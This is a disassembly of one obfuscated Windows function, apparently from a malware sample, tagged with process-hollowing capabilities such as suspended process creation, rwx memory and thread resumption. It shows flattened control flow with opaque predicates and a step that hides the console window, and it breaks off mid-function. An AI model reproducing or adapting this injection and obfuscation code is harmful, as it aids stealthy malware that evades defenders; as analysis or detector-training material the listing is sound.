Function at 0x10007370
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x120
mov eax, dword [0x1003f600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x128], 0x90ed0bfe
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x12c], eax
sub eax, 0x8073880a
je 0x1000a783
jmp 0x100073ac
mov eax, dword [ebp - 0x12c]
sub eax, 0x81071874
je 0x1000b0f5
jmp 0x100073c2
mov eax, dword [ebp - 0x12c]
sub eax, 0x81a7e6bd
je 0x1000ab9a
jmp 0x100073d8
mov eax, dword [ebp - 0x12c]
sub eax, 0x8307ae6c
je 0x1000bebc
jmp 0x100073ee
mov eax, dword [ebp - 0x12c]
sub eax, 0x83f47018
je 0x1000a618
jmp 0x10007404
mov eax, dword [ebp - 0x12c]
sub eax, 0x84bb76e6
je 0x1000d846
jmp 0x1000741a
mov eax, dword [ebp - 0x12c]
sub eax, 0x8542ac17
je 0x1000a052
jmp 0x10007430
mov eax, dword [ebp - 0x12c]
sub eax, 0x85489a2d
je 0x1000db6e
jmp 0x10007446
mov eax, dword [ebp - 0x12c]
sub eax, 0x85b02c62
je 0x1000ad03
jmp 0x1000745c
mov eax, dword [ebp - 0x12c]
sub eax, 0x85d92944
je 0x1000a859
jmp 0x10007472
mov eax, dword [ebp - 0x12c]
sub eax, 0x868ca478
je 0x1000d75c
jmp 0x10007488
mov eax, dword [ebp - 0x12c]
sub eax, 0x876c6f82
je 0x1000e8fe
jmp 0x1000749e
mov eax, dword [ebp - 0x12c]
sub eax, 0x879bd840
je 0x1000cc84
jmp 0x100074b4
mov eax, dword [ebp - 0x12c]
sub eax, 0x87d20c0d
je 0x1000a033
jmp 0x100074ca
mov eax, dword [ebp - 0x12c]
sub eax, 0x87fc75a1
je 0x1000a024
jmp 0x100074e0
mov eax, dword [ebp - 0x12c]
sub eax, 0x88339872
je 0x1000abeb
jmp 0x100074f6
mov eax, dword [ebp - 0x12c]
sub eax, 0x890a1137
je 0x1000b440
jmp 0x1000750c
mov eax, dword [ebp - 0x12c]
sub eax, 0x894a8ab2
je 0x1000f07e
jmp 0x10007522
mov eax, dword [ebp - 0x12c]
sub eax, 0x89b4a4fd
je 0x1000c811
jmp 0x10007538
mov eax, dword [ebp - 0x12c]
sub eax, 0x8a12cf56
je 0x1000efe0
jmp 0x1000754e
mov eax, dword [ebp - 0x12c]
sub eax, 0x8a27e033
je 0x1000a709
jmp 0x10007564
mov eax, dword [ebp - 0x12c]
sub eax, 0x8bf6815c
je 0x1000a506
jmp 0x1000757a
mov eax, dword [ebp - 0x12c]
sub eax, 0x8c616085
je 0x1000a185
jmp 0x10007590
mov eax, dword [ebp - 0x12c]
sub eax, 0x8d9cb87b
je 0x1000aca2
jmp 0x100075a6
mov eax, dword [ebp - 0x12c]
sub eax, 0x8dcca7f1
je 0x1000ebe4
jmp 0x100075bc
mov eax, dword [ebp - 0x12c]
sub eax, 0x8e8a5f99
je 0x1000bbf5
jmp 0x100075d2
mov eax, dword [ebp - 0x12c]
sub eax, 0x8fdabc48
je 0x1000d905
jmp 0x100075e8
mov eax, dword [ebp - 0x12c]
sub eax, 0x905c4414
je 0x1000a95d
jmp 0x100075fe
mov eax, dword [ebp - 0x12c]
sub eax, 0x90792c6e
je 0x1000d679
jmp 0x10007614
mov eax, dword [ebp - 0x12c]
sub eax, 0x90df03ea
je 0x1000d7c2
jmp 0x1000762a
mov eax, dword [ebp - 0x12c]
sub eax, 0x90ed0bfe
je 0x1000996b
jmp 0x10007640
mov eax, dword [ebp - 0x12c]
sub eax, 0x91074bac
je 0x1000e31a
jmp 0x10007656
mov eax, dword [ebp - 0x12c]
sub eax, 0x9121a39e
je 0x1000c0ad
jmp 0x1000766c
mov eax, dword [ebp - 0x12c]
sub eax, 0x91c15937
je 0x1000dd29
jmp 0x10007682
mov eax, dword [ebp - 0x12c]
sub eax, 0x9257854b
je 0x1000c63f
jmp 0x10007698
mov eax, dword [ebp - 0x12c]
sub eax, 0x9295f0fa
je 0x1000f900
jmp 0x100076ae
mov eax, dword [ebp - 0x12c]
sub eax, 0x9364a5ba
je 0x1000d4ab
jmp 0x100076c4
mov eax, dword [ebp - 0x12c]
sub eax, 0x9367bdf5
je 0x1000b396
jmp 0x100076da
mov eax, dword [ebp - 0x12c]
sub eax, 0x936e8a21
je 0x1000bfbd
jmp 0x100076f0
mov eax, dword [ebp - 0x12c]
sub eax, 0x93dbd81d
je 0x1000e80a
jmp 0x10007706
mov eax, dword [ebp - 0x12c]
sub eax, 0x94bd94a1
je 0x1000bf24
jmp 0x1000771c
mov eax, dword [ebp - 0x12c]
sub eax, 0x94e42e08
je 0x1000b761
jmp 0x10007732
mov eax, dword [ebp - 0x12c]
sub eax, 0x967a93ea
je 0x1000ea6a
jmp 0x10007748
mov eax, dword [ebp - 0x12c]
sub eax, 0x96f5cdab
je 0x1000dd1a
jmp 0x1000775e
mov eax, dword [ebp - 0x12c]
sub eax, 0x970ced0e
je 0x10009ea5
jmp 0x10007774
mov eax, dword [ebp - 0x12c]
sub eax, 0x981b0fda
je 0x1000ae73
jmp 0x1000778a
mov eax, dword [ebp - 0x12c]
sub eax, 0x9908490b
je 0x1000a6ae
jmp 0x100077a0
mov eax, dword [ebp - 0x12c]
sub eax, 0x99c60fa8
je 0x1000d37d
jmp 0x100077b6
mov eax, dword [ebp - 0x12c]
sub eax, 0x9a212d75
je 0x1000c5e4
jmp 0x100077cc
mov eax, dword [ebp - 0x12c]
sub eax, 0x9ad0b9d1
je 0x1000ad60
jmp 0x100077e2
mov eax, dword [ebp - 0x12c]
sub eax, 0x9af92662
je 0x10009b1a
jmp 0x100077f8
mov eax, dword [ebp - 0x12c]
sub eax, 0x9c02fcd0
je 0x1000a357
jmp 0x1000780e
mov eax, dword [ebp - 0x12c]
sub eax, 0x9d449cd9
je 0x1000d557
jmp 0x10007824
mov eax, dword [ebp - 0x12c]
sub eax, 0x9dac7089
je 0x1000f276
jmp 0x1000783a
mov eax, dword [ebp - 0x12c]
sub eax, 0x9de23bfa
je 0x1000b4b0
jmp 0x10007850
mov eax, dword [ebp - 0x12c]
sub eax, 0x9de75ca1
je 0x1000c3cd
jmp 0x10007866
mov eax, dword [ebp - 0x12c]
sub eax, 0x9e2829bf
je 0x1000a261
jmp 0x1000787c
mov eax, dword [ebp - 0x12c]
sub eax, 0x9e6a0370
je 0x1000ab20
jmp 0x10007892
mov eax, dword [ebp - 0x12c]
sub eax, 0x9e773a79
je 0x1000b664
jmp 0x100078a8
mov eax, dword [ebp - 0x12c]
sub eax, 0x9ec6b5c6
je 0x1000d88f
jmp 0x100078be
mov eax, dword [ebp - 0x12c]
sub eax, 0x9eef94c4
je 0x1000d239
jmp 0x100078d4
mov eax, dword [ebp - 0x12c]
sub eax, 0x9fc77022
je 0x1000cec6
jmp 0x100078ea
mov eax, dword [ebp - 0x12c]
sub eax, 0x9fe5e722
je 0x1000f288
jmp 0x10007900
mov eax, dword [ebp - 0x12c]
sub eax, 0xa00077fa
je 0x1000be46
jmp 0x10007916
mov eax, dword [ebp - 0x12c]
sub eax, 0xa099d6f3
je 0x1000b95b
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
sub edx, 0x7a4d334f
sub edx, 1
add edx, 0x7a4d334f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9fe5e722
mov ecx, 0x1fae047
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011d0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011d0
add esp, 4
movss xmm0, dword [0x1001d258]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1001d254]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x1001d250]
movss dword [ebp - 0x10c], xmm0
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
mov edx, eax
add edx, 0x38937410
sub edx, 1
sub edx, 0x38937410
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa9616797
mov ecx, 0xbcbf5877
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
add edx, 0x2dd1f1c1
sub edx, 1
sub edx, 0x2dd1f1c1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb77d1771
mov ecx, 0xff1c657a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov dword [ebp - 0x128], 0x87d20c0d
jmp 0x1000fbb4
movss xmm0, dword [0x1001d3a8]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x128], 0x8542ac17
jmp 0x1000fbb4
movss xmm0, dword [0x1001d3a4]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x128], 0x9321c85
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5ef7e28c
mov ecx, 0xaaad298e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
add edx, 0x1115c12f
sub edx, 1
sub edx, 0x1115c12f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x15deaa88
mov ecx, 0xfaf58e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
sub edx, 0x427f0d44
sub edx, 1
add edx, 0x427f0d44
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xea48910d
mov ecx, 0xb4800c53
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x63e214ed
mov ecx, 0x80a0266
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
movss xmm0, dword [0x1001d234]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x1001d230]
movss dword [ebp - 0x110], xmm0
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
add edx, 0xb4824192
sub edx, 1
sub edx, 0xb4824192
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdef9f13f
mov ecx, 0x9908490b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov dl, 1
mov eax, 0x8a27e033
mov ecx, 0xab4471b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
movss xmm0, dword [0x1001d380]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x128], 0x57186efb
jmp 0x1000fbb4
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2659e235
mov ecx, 0x36b947ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov dl, 1
mov eax, 0xa8e3fc8
mov ecx, 0x55004767
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov dword [ebp - 0x128], 0xcdbd3187
jmp 0x1000fbb4
mov dl, 1
mov eax, 0xf1576294
mov ecx, 0x448f1f94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
mov edx, eax
sub edx, 0x4e95a42e
sub edx, 1
add edx, 0x4e95a42e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe90c0ed8
mov ecx, 0x88339872
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe90c0ed8
mov ecx, 0x5d28706
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
movss xmm0, dword [0x1001d21c]
movss dword [ebp - 0x110], xmm0
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
mov edx, eax
sub edx, 0x6b8631b7
sub edx, 1
add edx, 0x6b8631b7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3971d229
mov ecx, 0x85b02c62
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov dword [ebp - 0x128], 0xfb936072
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
sub edx, 0x61a82939
sub edx, 1
add edx, 0x61a82939
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbf9d810c
mov ecx, 0x708bea3f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
mov edx, eax
add edx, 0xe3856b3b
sub edx, 1
sub edx, 0xe3856b3b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4cea1e01
mov ecx, 0xfb2884f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
movss xmm0, dword [0x1001d348]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x128], 0x34637d89
jmp 0x1000fbb4
movss xmm0, dword [0x1001d344]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x128], 0x7fbdd921
jmp 0x1000fbb4
movss xmm0, dword [0x1001d200]
movss dword [ebp - 0x114], xmm0
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
mov edx, eax
sub edx, 0xcaa69ff6
sub edx, 1
add edx, 0xcaa69ff6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa18b21
mov ecx, 0x635065ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
movss xmm0, dword [0x1001d340]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x128], 0x575d0d06
jmp 0x1000fbb4
movss xmm0, dword [0x1001d32c]
movss dword [ebp - 0x118], xmm0
movss xmm0, dword [0x1001d328]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x128], 0xd7a1a695
jmp 0x1000fbb4
movss xmm0, dword [0x1001d324]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x128], 0x4555fc1c
jmp 0x1000fbb4
mov dl, 1
mov eax, 0x5507dd62
mov ecx, 0xa52dd25b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
sub edx, 0x935ddbb5
sub edx, 1
add edx, 0x935ddbb5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3a89a3d8
mov ecx, 0x8307ae6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
movss xmm0, dword [0x1001d1e4]
movss dword [ebp - 0x11c], xmm0
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a89a3d8
mov ecx, 0x5e913a2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
movss xmm0, dword [0x1001d2f4]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x128], 0x2ed467f8
jmp 0x1000fbb4
mov dl, 1
mov eax, 0xe69ab5a6
mov ecx, 0x20dfb390
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
add edx, 0xaa715876
sub edx, 1
sub edx, 0xaa715876
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x49004220
mov ecx, 0xbe0e0c55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov dl, 1
mov eax, 0x12615a49
mov ecx, 0x62d1325a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
movss xmm0, dword [0x1001d2c4]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x128], 0x1a495a0c
jmp 0x1000fbb4
movss xmm0, dword [0x1001d2bc]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x128], 0x53f966d7
jmp 0x1000fbb4
movss xmm0, dword [0x1001d2a4]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x128], 0x71273b03
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
add edx, 0xf83fb48
sub edx, 1
sub edx, 0xf83fb48
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x443d15ee
mov ecx, 0xb3664e9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
mov edx, eax
add edx, 0x5fa19526
sub edx, 1
sub edx, 0x5fa19526
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2184d223
mov ecx, 0xdbd9cf5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov dword [ebp - 0x128], 0x20ac002
jmp 0x1000fbb4
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d1a0]
movss dword [eax], xmm0
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
add edx, 0xe8cca25b
sub edx, 1
sub edx, 0xe8cca25b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb4376b2d
mov ecx, 0xd503e33f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d19c]
movss dword [eax], xmm0
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc2fa92ef
mov ecx, 0x2b3f296a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
mov edx, eax
add edx, 0xc5acdaad
sub edx, 1
sub edx, 0xc5acdaad
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9295f0fa
mov ecx, 0xf0105ba4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d270]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d26c]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xf3b9e9ea
jmp 0x1000fbb4
mov dl, 1
mov eax, 0xc746482e
mov ecx, 0x71ea3323
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d194]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001d190]
movss dword [eax], xmm0
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
mov edx, eax
add edx, 0xbe415dd
sub edx, 1
sub edx, 0xbe415dd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf5937f00
mov ecx, 0xa8580d3b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov eax, dword [0x10040928]
mov ecx, dword [0x10040924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa2cd6813
mov ecx, 0x9ec6b5c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
add edx, 0x813cd09b
sub edx, 1
sub edx, 0x813cd09b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa2cd6813
mov ecx, 0x8fdabc48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov dword [ebp - 0x128], 0xc746482e
jmp 0x1000fbb4
mov dl, byte [ebp - 0x9d]
mov eax, 0xa1f56c7
mov ecx, 0xdd4fc596
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov dword [ebp - 0x128], 0x91c15937
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
mov edx, ecx
add edx, 0x2c21e777
sub edx, 1
sub edx, 0x2c21e777
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4d05a992
mov ecx, 0xec54428c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov ecx, dword [0x10040928]
mov eax, dword [0x10040924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x52a64468
mov ecx, 0xba36ba4c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000fbb4
mov dword [ebp - 0x128], 0xb272eda1
jmp 0x1000fbb4
mov dword [ebp - 0x128], 0xd96c3307
jmp 0x1000fbb4
mov edx, dword [ebp - 0x48]
mov eax, 0x894a8ab2
mov ecx, 0x4ff44990
